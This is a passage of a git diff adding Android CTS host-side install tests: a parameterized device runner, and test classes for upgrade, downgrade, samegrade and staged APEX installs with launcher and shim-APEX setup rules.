+        mTestInformation = testInformation;
+        for (Runner runner: mRunners) {
+            if (runner instanceof  ITestInformationReceiver) {
+                ((ITestInformationReceiver)runner).setTestInformation(mTestInformation);
+            }
+        }
+    }
+
+    @Override
+    public TestInformation getTestInformation() {
+        return mTestInformation;
+    }
+
+    public static class RunnerFactory implements ParametersRunnerFactory {
+        @Override
+        public Runner createRunnerForTestWithParameters(TestWithParameters test)
+                throws InitializationError {
+            return new DeviceParameterizedRunner(test);
+        }
+    }
+
+    public static class DeviceParameterizedRunner
+            extends BlockJUnit4ClassRunnerWithParameters implements ITestInformationReceiver {
+        private TestInformation mTestInformation;
+
+        public DeviceParameterizedRunner(TestWithParameters test) throws InitializationError {
+            super(test);
+        }
+
+        /** Overrides createTest in order to set the device. */
+        @Override
+        public Object createTest() throws Exception {
+            Object testObj = super.createTest();
+            if (testObj instanceof ITestInformationReceiver) {
+                if (mTestInformation == null) {
+                    throw new IllegalArgumentException("Missing test info");
+                }
+                ((ITestInformationReceiver) testObj).setTestInformation(mTestInformation);
+            }
+            return testObj;
+        }
+
+        @Override
+        public void setTestInformation(TestInformation testInformation) {
+            mTestInformation = testInformation;
+        }
+
+        @Override
+        public TestInformation getTestInformation() {
+            return mTestInformation;
+        }
+
+        @Override
+        public Description getDescription() {
+            // Make sure it includes test class name when generating parameterized test suites.
+            Description desc = Description.createSuiteDescription(getTestClass().getJavaClass());
+            // Invoke super getDescription to apply filtered children
+            super.getDescription().getChildren().forEach(child -> desc.addChild(child));
+            return desc;
+        }
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java b/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java
new file mode 100644
index 0000000..fe6afac
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.install.INSTALL_TYPE;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(DeviceParameterized.class)
+@UseParametersRunnerFactory(DeviceParameterized.RunnerFactory.class)
+public final class DowngradeTest extends BaseHostJUnit4Test {
+    private static final String PACKAGE_NAME = "android.cts.install";
+    private static final String PHASE_FORMAT_SUFFIX = "[%s_Staged%b_Rollback%b]";
+
+    private static final String CLEAN_UP_PHASE = "cleanUp_phase";
+    private static final String ARRANGE_PHASE = "arrange_phase";
+    private static final String ASSERT_POST_ARRANGE_PHASE = "assert_postArrange_phase";
+    private static final String ACTION_PHASE = "action_phase";
+    private static final String ASSERT_DOWNGRADE_SUCCESS_PHASE = "assert_downgradeSuccess_phase";
+    private static final String ASSERT_POST_REBOOT_PHASE = "assert_postReboot_phase";
+    private static final String ASSERT_PRE_REBOOT_PHASE = "assert_preReboot_phase";
+    private static final String ASSERT_DOWNGRADE_NOT_ALLOWED_PHASE =
+            "assert_downgradeNotAllowed_phase";
+    private static final String ASSERT_DOWNGRADE_NOT_REQUESTED_PHASE =
+            "assert_downgradeNotRequested_phase";
+
+    @Rule
+    public ShimApexRule mShimApexRule = new ShimApexRule(this);
+
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Rollback{1}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean enableRollback : booleanValues) {
+                temp.add(new Object[]{installType, enableRollback});
+            }
+        }
+        return temp;
+    }
+
+    @Before
+    @After
+    public void cleanUp() throws Exception {
+        runPhase(CLEAN_UP_PHASE);
+    }
+
+    @Before
+    public void assumeApexSupported() throws DeviceNotAvailableException {
+        if (mInstallType.containsApex()) {
+            assumeTrue("Device does not support updating APEX",
+                    mShimApexRule.isUpdatingApexSupported());
+        }
+    }
+
+    @Test
+    public void testNonStagedDowngrade_downgradeNotRequested_fails() throws Exception {
+        // Apex should not be committed in non-staged install, such logic covered in InstallTest.
+        assumeFalse(mInstallType.containsApex());
+        runPhase(ARRANGE_PHASE);
+        runPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runPhase(ASSERT_DOWNGRADE_NOT_REQUESTED_PHASE);
+    }
+
+    @Test
+    public void testNonStagedDowngrade_debugBuild() throws Exception {
+        // Apex should not be committed in non-staged install, such logic covered in InstallTest.
+        assumeFalse(mInstallType.containsApex());
+        assumeTrue("Device is not debuggable", isDebuggable());
+        runPhase(ARRANGE_PHASE);
+        runPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runPhase(ACTION_PHASE);
+
+        runPhase(ASSERT_DOWNGRADE_SUCCESS_PHASE);
+    }
+
+    @Test
+    public void testNonStagedDowngrade_nonDebugBuild_fail() throws Exception {
+        // Apex should not be committed in non-staged install, such logic covered in InstallTest.
+        assumeFalse(mInstallType.containsApex());
+        assumeFalse("Device is debuggable", isDebuggable());
+        runPhase(ARRANGE_PHASE);
+        runPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runPhase(ASSERT_DOWNGRADE_NOT_ALLOWED_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedDowngrade_downgradeNotRequested_fails() throws Exception {
+        runStagedPhase(ARRANGE_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runStagedPhase(ASSERT_DOWNGRADE_NOT_REQUESTED_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedDowngrade_debugBuild() throws Exception {
+        assumeTrue("Device is not debuggable", isDebuggable());
+        runStagedPhase(ARRANGE_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runStagedPhase(ACTION_PHASE);
+
+        runStagedPhase(ASSERT_PRE_REBOOT_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_REBOOT_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedDowngrade_nonDebugBuild_fail() throws Exception {
+        assumeFalse("Device is debuggable", isDebuggable());
+        runStagedPhase(ARRANGE_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runStagedPhase(ASSERT_DOWNGRADE_NOT_ALLOWED_PHASE);
+    }
+
+    private void runPhase(String phase) throws DeviceNotAvailableException {
+        runPhase(phase, false /* staged */);
+    }
+
+    private void runStagedPhase(String phase) throws DeviceNotAvailableException {
+        runPhase(phase, true /* staged */);
+    }
+
+    /**
+     * Runs the given phase of a test with parameters by calling into the device.
+     * Throws an exception if the test phase fails.
+     * <p>
+     * For example, <code>runPhase("action_phase", true);</code>
+     */
+    private void runPhase(String phase, boolean staged) throws DeviceNotAvailableException {
+        assertThat(runDeviceTests(PACKAGE_NAME,
+                String.format("%s.%s", PACKAGE_NAME, this.getClass().getSimpleName()),
+                String.format(phase + PHASE_FORMAT_SUFFIX, mInstallType, staged, mEnableRollback)))
+                .isTrue();
+    }
+
+    private boolean isDebuggable() throws Exception {
+        return getDevice().getIntProperty("ro.debuggable", 0) == 1;
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/InstallTest.java b/hostsidetests/install/src/android/cts/install/host/InstallTest.java
new file mode 100644
index 0000000..5580466
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/InstallTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.install.INSTALL_TYPE;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(DeviceParameterized.class)
+@UseParametersRunnerFactory(DeviceParameterized.RunnerFactory.class)
+public final class InstallTest extends BaseHostJUnit4Test {
+    private static final String PACKAGE_NAME = "android.cts.install";
+    private static final String CUSTOMIZED_LAUNCHER_COMPONENT =
+            PACKAGE_NAME + "/" + PACKAGE_NAME + ".LauncherActivity";
+    private static final String PHASE_FORMAT_SUFFIX = "[%s_Staged%b_Rollback%b]";
+
+    private static final String CLEAN_UP_PHASE = "cleanUp_phase";
+    private static final String ACTION_PHASE = "action_phase";
+    private static final String ACTION_ABANDON_SESSION_PHASE = "action_abandonSession_phase";
+    private static final String ASSERT_PHASE = "assert_phase";
+    private static final String ASSERT_COMMIT_FAILURE_PHASE = "assert_commitFailure_phase";
+    private static final String ASSERT_PRE_REBOOT_PHASE = "assert_preReboot_phase";
+    private static final String ASSERT_POST_REBOOT_PHASE = "assert_postReboot_phase";
+    private static final String ASSERT_ABANDON_SESSION = "assert_abandonSession_phase";
+
+    @Rule
+    public ShimApexRule mShimApexRule = new ShimApexRule(this);
+
+    @Rule
+    public LauncherRule mLauncherRule = new LauncherRule(this, CUSTOMIZED_LAUNCHER_COMPONENT);
+
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Rollback{1}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType: INSTALL_TYPE.values()) {
+            for (boolean enableRollback: booleanValues) {
+                temp.add(new Object[]{installType, enableRollback});
+            }
+        }
+        return temp;
+    }
+
+    private boolean mStaged;
+
+    @Before
+    @After
+    public void cleanUp() throws Exception {
+        runPhase(CLEAN_UP_PHASE);
+    }
+
+    @Before
+    public void assumeApexSupported() throws DeviceNotAvailableException {
+        if (mInstallType.containsApex()) {
+            assumeTrue("Device does not support updating APEX",
+                    mShimApexRule.isUpdatingApexSupported());
+        }
+    }
+
+    @Test
+    public void testInstall() throws Exception {
+        mStaged = false;
+        if (mInstallType.containsApex()) {
+            runPhase(ASSERT_COMMIT_FAILURE_PHASE);
+            return;
+        }
+        runPhase(ACTION_PHASE);
+        runPhase(ASSERT_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedInstall() throws Exception {
+        mStaged = true;
+        runPhase(ACTION_PHASE);
+        runPhase(ASSERT_PRE_REBOOT_PHASE);
+        getDevice().reboot();
+        runPhase(ASSERT_POST_REBOOT_PHASE);
+    }
+
+    @Test
+    public void testAbandonStagedSessionBeforeReboot() throws Exception {
+        mStaged = true;
+        runPhase(ACTION_PHASE);
+        runPhase(ASSERT_PRE_REBOOT_PHASE);
+        runPhase(ACTION_ABANDON_SESSION_PHASE);
+        runPhase(ASSERT_ABANDON_SESSION);
+    }
+
+    @Test
+    @LargeTest
+    public void testAbandonStagedSessionAfterReboot() throws Exception {
+        mStaged = true;
+        runPhase(ACTION_PHASE);
+        getDevice().reboot();
+        runPhase(ACTION_ABANDON_SESSION_PHASE);
+        runPhase(ASSERT_POST_REBOOT_PHASE);
+    }
+
+    /**
+     * Runs the given phase of a test with parameters by calling into the device.
+     * Throws an exception if the test phase fails.
+     * <p>
+     * For example, <code>runPhase("action_phase");</code>
+     */
+    private void runPhase(String phase) throws DeviceNotAvailableException {
+        assertThat(runDeviceTests(PACKAGE_NAME,
+                String.format("%s.%s", PACKAGE_NAME, this.getClass().getSimpleName()),
+                String.format(phase + PHASE_FORMAT_SUFFIX, mInstallType, mStaged, mEnableRollback)))
+                .isTrue();
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/LauncherRule.java b/hostsidetests/install/src/android/cts/install/host/LauncherRule.java
new file mode 100644
index 0000000..fefe71e
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/LauncherRule.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.rules.ExternalResource;
+
+/**
+ * Changes default launcher with {@link #mTestLauncher} while testing. Restores to default
+ * launcher after test finished.
+ */
+final class LauncherRule extends ExternalResource {
+    private final BaseHostJUnit4Test mHostTest;
+    private final String mTestLauncher;
+
+    /**
+     * This value will be used to reset the default launcher to its correct component upon test
+     * completion.
+     */
+    private String mDefaultLauncher = null;
+
+    /**
+     * Constructs {@link LauncherRule} instance.
+     *
+     * @param hostTest Test to apply this rule.
+     * @param testLauncher Component name of customized launcher to set as default while testing.
+     */
+    LauncherRule(BaseHostJUnit4Test hostTest, String testLauncher) {
+        mHostTest = hostTest;
+        mTestLauncher = testLauncher;
+    }
+
+
+    protected void before() throws Throwable {
+        mDefaultLauncher = fetchDefaultLauncher();
+        setDefaultLauncher(mTestLauncher);
+    }
+
+    protected void after() {
+        try {
+            setDefaultLauncher(mDefaultLauncher);
+        } catch (DeviceNotAvailableException e) {
+            e.printStackTrace();
+        }
+    }
+
+    /** Fetches the component name of the default launcher. Assert error if no launcher found. */
+    private String fetchDefaultLauncher() throws DeviceNotAvailableException {
+        final String PREFIX = "Launcher: ComponentInfo{";
+        final String POSTFIX = "}";
+        for (String s : mHostTest.getDevice().executeShellCommand(
+                "cmd shortcut get-default-launcher").split("\n")) {
+            if (s.startsWith(PREFIX) && s.endsWith(POSTFIX)) {
+                return s.substring(PREFIX.length(), s.length() - POSTFIX.length());
+            }
+        }
+        throw new AssertionError("No default launcher found");
+    }
+
+    /**
+     * Set the default launcher to a given component.
+     * If set to the broadcast receiver component of this test app, this will allow the test app to
+     * receive SESSION_COMMITTED broadcasts.
+     */
+    private void setDefaultLauncher(String launcherComponent) throws DeviceNotAvailableException {
+        assertThat(launcherComponent).isNotEmpty();
+        mHostTest.getDevice().executeShellCommand(
+                "cmd package set-home-activity " + launcherComponent);
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java b/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java
new file mode 100644
index 0000000..3c67a10
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.install.INSTALL_TYPE;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(DeviceParameterized.class)
+@UseParametersRunnerFactory(DeviceParameterized.RunnerFactory.class)
+public final class SamegradeTest extends BaseHostJUnit4Test {
+    private static final String PACKAGE_NAME = "android.cts.install";
+    private static final String PHASE_FORMAT_SUFFIX = "[%s_Staged%b_Rollback%b]";
+    private static final String ARRANGE_PHASE = "arrange_phase";
+    private static final String ASSERT_POST_ARRANGE_PHASE = "assert_postArrange_phase";
+    private static final String ACTION_PHASE = "action_phase";
+    private static final String ACTION_SYSTEMAPEX_PHASE = "action_systemApex_phase";
+    private static final String ASSERT_PRE_REBOOT_PHASE = "assert_preReboot_phase";
+    private static final String ASSERT_POST_REBOOT_PHASE = "assert_postReboot_phase";
+    private static final String ASSERT_SYSTEMAPEX_REBOOT_PHASE =
+            "assert_systemApex_postReboot_phase";
+    private static final String ASSERT_PHASE = "assert_phase";
+    private static final String CLEAN_UP_PHASE = "cleanUp_phase";
+
+    @Rule
+    public ShimApexRule mShimApexRule = new ShimApexRule(this);
+
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Rollback{1}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean enableRollback : booleanValues) {
+                temp.add(new Object[]{installType, enableRollback});
+            }
+        }
+        return temp;
+    }
+
+    @Before
+    @After
+    public void cleanUp() throws Exception {
+        runPhase(CLEAN_UP_PHASE);
+    }
+
+    @Before
+    public void assumeApexSupported() throws DeviceNotAvailableException {
+        if (mInstallType.containsApex()) {
+            assumeTrue("Device does not support updating APEX",
+                    mShimApexRule.isUpdatingApexSupported());
+        }
+    }
+
+    /**
+     * Samegrading on a non-APEX install type should be success.
+     */
+    @Test
+    public void testNonStagedSamegrade() throws Exception {
+        // Apex should not be committed in non-staged install, such logic covered in InstallTest.
+        assumeFalse(mInstallType.containsApex());
+
+        runPhase(ARRANGE_PHASE);
+        runPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runPhase(ACTION_PHASE);
+
+        runPhase(ASSERT_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedSameGrade() throws Exception {
+        assumeTrue(mInstallType.containsApex());
+        runStagedPhase(ARRANGE_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runStagedPhase(ACTION_PHASE);
+
+        runStagedPhase(ASSERT_PRE_REBOOT_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_REBOOT_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedSamegradeSystemApex() throws Exception {
+        assumeTrue(mInstallType.containsApex());
+
+        runStagedPhase(ACTION_SYSTEMAPEX_PHASE);
+        getDevice().reboot();
+
+        runStagedPhase(ASSERT_SYSTEMAPEX_REBOOT_PHASE);
+    }
+
+    private void runPhase(String phase) throws DeviceNotAvailableException {
+        runPhase(phase, false /* staged */);
+    }
+
+    private void runStagedPhase(String phase) throws DeviceNotAvailableException {
+        runPhase(phase, true /* staged */);
+    }
+
+    /**
+     * Runs the given phase of a test with parameters by calling into the device.
+     * Throws an exception if the test phase fails.
+     * <p>
+     * For example, <code>runPhase("action_phase", true);</code>
+     */
+    private void runPhase(String phase, boolean staged) throws DeviceNotAvailableException {
+        assertThat(runDeviceTests(PACKAGE_NAME,
+                String.format("%s.%s", PACKAGE_NAME, this.getClass().getSimpleName()),
+                String.format(phase + PHASE_FORMAT_SUFFIX, mInstallType, staged, mEnableRollback)))
+                .isTrue();
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/ShimApexRule.java b/hostsidetests/install/src/android/cts/install/host/ShimApexRule.java
new file mode 100644
index 0000000..4641aaa
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/ShimApexRule.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import static com.android.cts.shim.lib.ShimPackage.SHIM_APEX_PACKAGE_NAME;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.ddmlib.Log;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.rules.ExternalResource;
+
+/**
+ * Clears shim Apex if needed before and after each test to prevent flaky and reduce
+ * reboot time.
+ */
+final class ShimApexRule extends ExternalResource {
+    private static final String TAG = ShimApexRule.class.getSimpleName();
+    private final BaseHostJUnit4Test mHostTest;
+
+    ShimApexRule(BaseHostJUnit4Test hostTest) {
+        mHostTest = hostTest;
+    }
+
+    @Override
+    protected void before() throws Throwable {
+        uninstallShimApexIfNecessary();
+    }
+
+    @Override
+    protected void after() {
+        try {
+            uninstallShimApexIfNecessary();
+        } catch (DeviceNotAvailableException e) {
+            e.printStackTrace();
+        }
+    }
+
+    /**
+     * Uninstalls a shim apex only if it's latest version is installed on /data partition (i.e.
+     * it has a version higher than {@code 1}).
+     *
+     * <p>This is purely to optimize tests run time. Since uninstalling an apex requires a reboot,
+     * and only a small subset of tests successfully install an apex, this code avoids ~10
+     * unnecessary reboots.
+     */
+    private void uninstallShimApexIfNecessary() throws DeviceNotAvailableException {
+        if (!isUpdatingApexSupported()) {
+            // Device doesn't support updating apex. Nothing to uninstall.
+            return;
+        }
+        if (getShimApex().sourceDir.startsWith("/system")) {
+            // System version is active, nothing to uninstall.
+            return;
+        }
+        // Non system version is active, need to uninstall it and reboot the device.
+        Log.i(TAG, "Uninstalling shim apex");
+        final String errorMessage =
+                mHostTest.getDevice().uninstallPackage(SHIM_APEX_PACKAGE_NAME);
+        if (errorMessage != null) {
+            Log.e(TAG, "Failed to uninstall " + SHIM_APEX_PACKAGE_NAME + " : " + errorMessage);
+            return;
+        }
+
+        mHostTest.getDevice().reboot();
+        ITestDevice.ApexInfo shim = getShimApex();
+        assertThat(shim.versionCode).isEqualTo(1L);
+        assertThat(shim.sourceDir).startsWith("/system");
+    }
+
+    boolean isUpdatingApexSupported() throws DeviceNotAvailableException {
+        final String updatable = mHostTest.getDevice().getProperty("ro.apex.updatable");
+        return updatable != null && updatable.equals("true");
+    }
+
+    private ITestDevice.ApexInfo getShimApex() throws DeviceNotAvailableException {
+        return mHostTest.getDevice().getActiveApexes().stream().filter(
+                apex -> apex.name.equals(SHIM_APEX_PACKAGE_NAME)).findAny().orElseThrow(
+                () -> new AssertionError("Can't find " + SHIM_APEX_PACKAGE_NAME));
+    }
+}
diff --git a/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java b/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java
new file mode 100644
index 0000000..cf58863
--- /dev/null
+++ b/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.install.INSTALL_TYPE;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+@RunWith(DeviceParameterized.class)
+@UseParametersRunnerFactory(DeviceParameterized.RunnerFactory.class)
+public final class UpgradeTest extends BaseHostJUnit4Test {
+    private static final String PACKAGE_NAME = "android.cts.install";
+    private static final String PHASE_FORMAT_SUFFIX = "[%s_Staged%b_Rollback%b]";
+    private static final String ARRANGE_PHASE = "arrange_phase";
+    private static final String ASSERT_POST_ARRANGE_PHASE = "assert_postArrange_phase";
+    private static final String ACTION_PHASE = "action_phase";
+    private static final String ASSERT_PHASE = "assert_phase";
+    private static final String ASSERT_PRE_REBOOT_PHASE = "assert_preReboot_phase";
+    private static final String ASSERT_POST_REBOOT_PHASE = "assert_postReboot_phase";
+    private static final String CLEAN_UP_PHASE = "cleanUp_phase";
+
+    @Rule
+    public ShimApexRule mShimApexRule = new ShimApexRule(this);
+
+    @Parameter(0)
+    public INSTALL_TYPE mInstallType;
+
+    @Parameter(1)
+    public boolean mEnableRollback;
+
+    @Parameters(name = "{0}_Rollback{1}")
+    public static Collection<Object[]> combinations() {
+        boolean[] booleanValues = new boolean[]{true, false};
+        List<Object[]> temp = new ArrayList<>();
+        for (INSTALL_TYPE installType : INSTALL_TYPE.values()) {
+            for (boolean enableRollback : booleanValues) {
+                temp.add(new Object[]{installType, enableRollback});
+            }
+        }
+        return temp;
+    }
+
+    @Before
+    @After
+    public void cleanUp() throws Exception {
+        runPhase(CLEAN_UP_PHASE);
+    }
+
+    @Before
+    public void assumeApexSupported() throws DeviceNotAvailableException {
+        if (mInstallType.containsApex()) {
+            assumeTrue("Device does not support updating APEX",
+                    mShimApexRule.isUpdatingApexSupported());
+        }
+    }
+
+    @Test
+    public void testNonStagedUpgrade() throws Exception {
+        // Apex should not be committed in non-staged install, such logic covered in InstallTest.
+        assumeFalse(mInstallType.containsApex());
+        runPhase(ARRANGE_PHASE);
+        runPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runPhase(ACTION_PHASE);
+
+        runPhase(ASSERT_PHASE);
+    }
+
+    @Test
+    @LargeTest
+    public void testStagedUpgrade() throws Exception {
+        assumeTrue(mInstallType.containsApex());
+        runStagedPhase(ARRANGE_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_ARRANGE_PHASE);
+
+        runStagedPhase(ACTION_PHASE);
+
+        runStagedPhase(ASSERT_PRE_REBOOT_PHASE);
+        getDevice().reboot();
+        runStagedPhase(ASSERT_POST_REBOOT_PHASE);
+    }
+
+    private void runPhase(String phase) throws DeviceNotAvailableException {
+        runPhase(phase, false /* staged */);
+    }
+
+    private void runStagedPhase(String phase) throws DeviceNotAvailableException {
+        runPhase(phase, true /* staged */);
+    }
+
+    /**
+     * Runs the given phase of a test with parameters by calling into the device.
+     * Throws an exception if the test phase fails.
+     * <p>
+     * For example, <code>runPhase("action_phase", true);</code>
+     */
+    private void runPhase(String phase, boolean staged) throws DeviceNotAvailableException {
+        assertThat(runDeviceTests(PACKAGE_NAME,
+                String.format("%s.%s", PACKAGE_NAME, this.getClass().getSimpleName()),
+                String.format(phase + PHASE_FORMAT_SUFFIX, mInstallType, staged, mEnableRollback)))
+                .isTrue();
+    }
+}
diff --git a/hostsidetests/jdwptunnel/sampleapps/debuggableapp/AndroidManifest.xml b/hostsidetests/jdwptunnel/sampleapps/debuggableapp/AndroidManifest.xml
index 2e2d2dd..3d85039 100755
--- a/hostsidetests/jdwptunnel/sampleapps/debuggableapp/AndroidManifest.xml
